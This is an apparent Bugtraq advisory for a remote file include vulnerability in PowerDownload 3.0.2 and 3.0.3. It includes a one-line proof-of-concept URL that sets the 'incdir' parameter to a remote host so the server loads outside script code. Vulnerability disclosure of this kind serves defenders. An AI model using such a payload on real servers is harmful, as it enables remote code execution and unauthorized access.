PowerDownload IncDir Remote File Include Vulnerability

Bugtraq ID:	13822
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 31 2005 12:00AM
Updated:	May 31 2005 12:00AM
Credit:	SoulBlack Group <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	PowerScripts.org PowerDownload 3.0.3 PowerScripts.org PowerDownload 3.0.2
Not Vulnerable:

PowerDownload IncDir Remote File Include Vulnerability

PowerDownload is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

PowerDownload IncDir Remote File Include Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com/download/downloads.php?release_id=650&incdir=http://www.example.com/

PowerDownload IncDir Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PowerDownload IncDir Remote File Include Vulnerability

References:

• PowerDownload Homepage (PowerScripts.org)
  
• PowerDownload Remote File Inclusion (SoulBlack Group )